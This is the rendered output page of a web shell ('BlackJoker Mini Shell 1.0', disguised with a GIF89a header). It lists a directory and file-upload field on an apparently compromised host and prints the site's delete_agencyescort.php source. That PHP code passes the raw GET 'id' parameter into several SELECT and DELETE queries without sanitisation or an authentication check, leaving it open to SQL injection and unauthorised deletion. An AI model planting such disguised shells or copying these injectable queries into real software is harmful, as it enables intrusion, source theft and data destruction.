GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/delete_agencyescort.php

<?  session_start();
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
	
	if($_GET['id'])
	{
	
	
	$sql_userid="select * from escort_details where id='".$_GET['id']."' ";
	$res_userid=execute_query($sql_userid);
	$row_userid=mysql_fetch_array($res_userid);
	
	$sql_photo="DELETE FROM escort_photo  WHERE postid='".$row_userid['id']."'";
	execute_query($sql_photo);
			
	$sql_tour="DELETE FROM escort_tours  WHERE postid='".$row_userid['id']."'";
	execute_query($sql_tour);
	
	$sql_popularity="DELETE FROM popularity  WHERE postid='".$_GET['id']."'";
	execute_query($sql_popularity);
	
	$del="delete from escort_details where id='".$row_userid['id']."'";
	execute_query($del);
	
	$sql_deleteest="DELETE from USER_IMPRESSION_REPORT where ad_id='".$_GET['id']."'";
    execute_query($sql_deleteest);
			
	$sql_dtuser="DELETE from USER_AD_REPORT where ad_id='".$_GET['id']."'";
	execute_query($sql_dtuser);
	
	
	
	
	?>
<script language="javascript">
location.href="agency-escorts.php";
</script>	

<? } 

else
{?>
	<script language="javascript">
    location.href="login.php";
    </script>	
<? } ?>

./BlackJoker Mini Shell 1.0